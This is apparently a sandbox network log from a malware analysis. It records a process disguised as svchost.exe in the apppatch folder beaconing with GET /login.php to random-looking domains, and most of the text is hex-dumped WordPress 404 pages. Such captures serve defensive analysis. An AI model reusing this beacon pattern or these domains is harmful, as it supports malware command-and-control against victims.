2024-11-11 17:50:36 UTC	1369	IN	Data Raw: 74 74 6f 6d 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 7a 2d 69 6e 64 65 78 3a 31 7d 61 6d 70 2d 69 6d 67 5b 69 2d 61 6d 70 68 74 6d 6c 2d 73 73 72 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 7a 2d 69 6e 64 65 78 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 74 62 75 69 6c 74 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 68 69 64 64 65 6e 2d 62 79 2d 6d 65 64 69 61 2d 71 75 65 72 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 2d 65 72 72 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 65 64 21 Data Ascii: ttom:0!important;z-index:1}amp-img[i-amphtml-ssr]:not(.i-amphtml-element)>[placeholder]{z-index:auto}.i-amphtml-notbuilt>[placeholder]{display:block!important}.i-amphtml-hidden-by-media-query{display:none!important}.i-amphtml-element-error{background:red!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49770	188.114.97.3	443	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 17:50:37 UTC	267	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com Connection: Keep-Alive
2024-11-11 17:50:38 UTC	1096	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Nov 2024 17:50:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/" server-timing: amp_sanitizer;dur="45.8",amp_style_sanitizer;dur="18.6",amp_tag_and_attribute_sanitizer;dur="21.3",amp_optimizer;dur="19.7" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BKoFbtd2QxUv1zO9bYiKeRCTkKH2L7p3ZhRGl0rXNi%2FQ%2FXulD5iSPj5r%2Bj2Z0%2BKk%2FI3bw%2FHUeuyaiPjCVTKAg3Z7RksY4lz8CPZZOR1rHqdd4Utbu%2FR1h5SbEZHvEw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e102029ddc80f7d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1265&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=881&delivery_rate=2260733&cwnd=251&unsent_bytes=0&cid=b9c91602b0989451&ts=1592&x=0"
2024-11-11 17:50:38 UTC	273	IN	Data Raw: 37 63 31 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 61 74 61 2d 61 6d 70 2d 62 69 6e 64 2d 63 6c 61 73 73 3d 22 69 73 44 61 72 6b 20 3f 20 27 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 27 20 3a 20 27 6e 65 76 65 2d 6c 69 67 68 74 2d 74 68 65 6d 65 27 22 20 63 6c 61 73 73 3d 22 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 22 20 61 6d 70 3d 22 22 20 64 61 74 61 2d 61 6d 70 2d 61 75 74 6f 2d 6c 69 67 68 74 62 6f 78 2d 64 69 73 61 62 6c 65 20 74 72 61 6e 73 66 6f 72 6d 65 64 3d 22 73 65 6c 66 3b 76 3d 31 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 2d 62 6f 69 6c 65 72 70 6c 61 74 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 62 Data Ascii: 7c16<!DOCTYPE html><html lang="en-US" data-amp-bind-class="isDark ? 'neve-dark-theme' : 'neve-light-theme'" class="neve-dark-theme" amp="" data-amp-auto-lightbox-disable transformed="self;v=1" i-amphtml-layout="" i-amphtml-no-boilerplate="" i-amphtml-b
2024-11-11 17:50:38 UTC	1369	IN	Data Raw: 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 61 6d 70 70 72 6f 6a 65 63 74 2e 6f 72 67 22 3e 3c 73 74 79 6c 65 20 61 6d 70 2d 72 75 6e 74 69 6d 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 76 65 72 73 69 6f 6e 3d 22 30 31 32 34 31 30 31 36 31 38 30 31 30 30 30 22 3e 68 74 6d 6c 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 7b 68 65 Data Ascii: ta charset="UTF-8"><meta name="viewport" content="width=device-width,minimum-scale=1"><link rel="preconnect" href="https://cdn.ampproject.org"><style amp-runtime="" i-amphtml-version="012410161801000">html{overflow-x:hidden!important}html.i-amphtml-fie{he
2024-11-11 17:50:38 UTC	1369	IN	Data Raw: 2d 73 63 72 6f 6c 6c 69 6e 67 3a 74 6f 75 63 68 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 3e 62 6f 64 79 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 2c 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 Data Ascii: -scrolling:touch!important}#i-amphtml-wrapper>body{position:relative!important;border-top:1px solid transparent!important}#i-amphtml-wrapper+body{visibility:visible}#i-amphtml-wrapper+body .i-amphtml-lightbox-element,#i-amphtml-wrapper+body[i-amphtml-ligh
2024-11-11 17:50:38 UTC	1369	IN	Data Raw: 77 69 64 74 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 5b 73 74 61 6e 64 61 6c 6f 6e 65 5d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 35 37 35 37 35 7d 61 6d 70 2d 73 74 6f 72 79 20 2e 61 6d 70 2d 61 63 74 69 76 65 3e 64 69 76 2c 61 6d 70 2d 73 74 6f 72 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 6f 61 64 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 3a 6e 6f 74 28 3a 66 69 72 73 Data Ascii: width:100%!important}amp-story[standalone]{background-color:#000!important;position:relative!important}amp-story-page{background-color:#757575}amp-story .amp-active>div,amp-story .i-amphtml-loader-background{display:none!important}amp-story-page:not(:firs
2024-11-11 17:50:38 UTC	1369	IN	Data Raw: 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 69 6d 67 29 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 2c 5b 6c 61 79 6f 75 74 3d 69 6e 74 72 69 6e 73 69 63 5d 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f Data Ascii: .i-amphtml-layout-responsive),[width][height][sizes]:not(img):not([layout]):not(.i-amphtml-layout-responsive){display:block;position:relative}.i-amphtml-layout-intrinsic,[layout=intrinsic][width][height]:not(.i-amphtml-layout-intrinsic){display:inline-blo
2024-11-11 17:50:38 UTC	1369	IN	Data Raw: 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 62 6c 75 72 72 79 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 30 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 25 3b 77 69 64 74 68 3a 30 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 73 69 7a 65 2d 64 65 66 69 6e 65 64 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 Data Ascii: {display:none!important}}.i-amphtml-blurry-placeholder,.i-amphtml-fill-content{display:block;height:0;max-height:100%;max-width:100%;min-height:100%;min-width:100%;width:0;margin:auto}.i-amphtml-layout-size-defined .i-amphtml-fill-content{position:absolut
2024-11-11 17:50:38 UTC	1369	IN	Data Raw: 74 62 75 69 6c 74 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 63 6f 6e 74 61 69 6e 65 72 29 3e 2a 2c 5b 6c 61 79 6f 75 74 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 3d 63 6f 6e 74 61 69 6e 65 72 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 68 65 69 67 68 74 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 69 6d 67 3a 6e 6f 74 28 2e Data Ascii: tbuilt:not(.i-amphtml-layout-container)>,[layout]:not([layout=container]):not(.i-amphtml-element)>,[width][height][heights]:not([layout]):not(.i-amphtml-element)>,[width][height][sizes]:not([layout]):not(.i-amphtml-element)>{display:none}amp-img:not(.
2024-11-11 17:50:38 UTC	1369	IN	Data Raw: 74 3b 62 6f 74 74 6f 6d 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 7a 2d 69 6e 64 65 78 3a 31 7d 61 6d 70 2d 69 6d 67 5b 69 2d 61 6d 70 68 74 6d 6c 2d 73 73 72 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 7a 2d 69 6e 64 65 78 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 74 62 75 69 6c 74 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 68 69 64 64 65 6e 2d 62 79 2d 6d 65 64 69 61 2d 71 75 65 72 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 2d 65 72 72 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a Data Ascii: t;bottom:0!important;z-index:1}amp-img[i-amphtml-ssr]:not(.i-amphtml-element)>[placeholder]{z-index:auto}.i-amphtml-notbuilt>[placeholder]{display:block!important}.i-amphtml-hidden-by-media-query{display:none!important}.i-amphtml-element-error{background:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	54645	188.114.96.3	443	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 17:50:49 UTC	267	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com Connection: Keep-Alive
2024-11-11 17:50:49 UTC	947	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Nov 2024 17:50:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VDqhFSckBbMMdt1%2Bi4C%2FqqQT7kNz4hBElXo2xCReegjuNyLnNPmKUuEkivTFKU5ay7HyVs6snzcpqD4EcqTCe9278BHYCA04YUV%2FG71W4PY%2BNij7YhvNA8hF0dFFcw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e10207558b76ac9-BOS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6915&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=881&delivery_rate=415197&cwnd=32&unsent_bytes=0&cid=a4bbf1a6f1330493&ts=834&x=0"
2024-11-11 17:50:49 UTC	422	IN	Data Raw: 37 63 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e Data Ascii: 7ca8<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
2024-11-11 17:50:49 UTC	1369	IN	Data Raw: 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 31 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 Data Ascii: e><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v21.3 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found -</title><meta property="og:locale" content="en_US" /><meta proper
2024-11-11 17:50:49 UTC	1369	IN	Data Raw: 20 63 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 Data Ascii: c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.wi
2024-11-11 17:50:49 UTC	1369	IN	Data Raw: 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f 3d 22 77 70 45 6d 6f 6a 69 53 65 74 74 69 6e 67 73 53 75 70 70 6f 72 74 73 22 2c 73 3d 5b 22 66 6c 61 67 22 2c 22 65 6d 6f 6a 69 22 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 3d 7b 65 76 65 72 79 74 68 69 6e 67 3a 21 30 2c 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3a 21 30 7d 2c 65 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 4a 53 4f 4e 2e 70 61 72 73 Data Ascii: =typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.pars
2024-11-11 17:50:49 UTC	1369	IN	Data Raw: 61 74 65 6d 6f 6a 69 3f 74 28 65 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 29 3a 65 2e 77 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69 6e 69 66 69 65 64 2f 6d 61 69 Data Ascii: atemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);</script><link rel='stylesheet' id='astra-theme-css-css' href='https://qegyhig.com/wp-content/themes/astra/assets/css/minified/mai
2024-11-11 17:50:49 UTC	1369	IN	Data Raw: 65 73 63 72 69 70 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 39 33 37 35 72 65 6d 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 2e 65 6e 74 72 79 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 32 35 72 65 6d 3b 7d 68 31 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 Data Ascii: escription{font-size:15px;font-size:0.9375rem;display:none;}.entry-title{font-size:26px;font-size:1.625rem;}h1,.entry-content h1{font-size:40px;font-size:2.5rem;font-weight:600;line-height:1.4em;}h2,.entry-content h2{font-size:32px;font-size:2rem;font-wei
2024-11-11 17:50:49 UTC	1369	IN	Data Raw: 62 6b 69 74 2d 73 6c 69 64 65 72 2d 74 68 75 6d 62 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 7d 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 68 6f 76 65 72 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 66 6f 63 75 73 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 31 30 34 30 34 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 70 72 65 76 69 6f 75 73 2c 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 6e 65 78 74 7b 63 Data Ascii: bkit-slider-thumb{border-color:#d10404;background-color:#d10404;box-shadow:none;}.site-footer a:hover + .post-count,.site-footer a:focus + .post-count{background:#d10404;border-color:#d10404;}.single .nav-links .nav-previous,.single .nav-links .nav-next{c
2024-11-11 17:50:49 UTC	1369	IN	Data Raw: 20 2e 75 61 67 62 2d 69 66 62 2d 63 74 61 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 75 61 67 62 2d 62 75 74 74 6f 6e 73 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 62 62 2d 6d 6f 64 75 6c 65 2d 63 6f 6e 74 65 6e 74 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 70 6f 73 74 2d 67 72 69 64 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 69 6d 65 6c 69 6e 65 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e Data Ascii: .uagb-ifb-cta a,.ast-single-post .entry-content .wp-block-uagb-buttons a,.ast-single-post .entry-content .uabb-module-content a,.ast-single-post .entry-content .uagb-post-grid a,.ast-single-post .entry-content .uagb-timeline a,.ast-single-post .entry-con
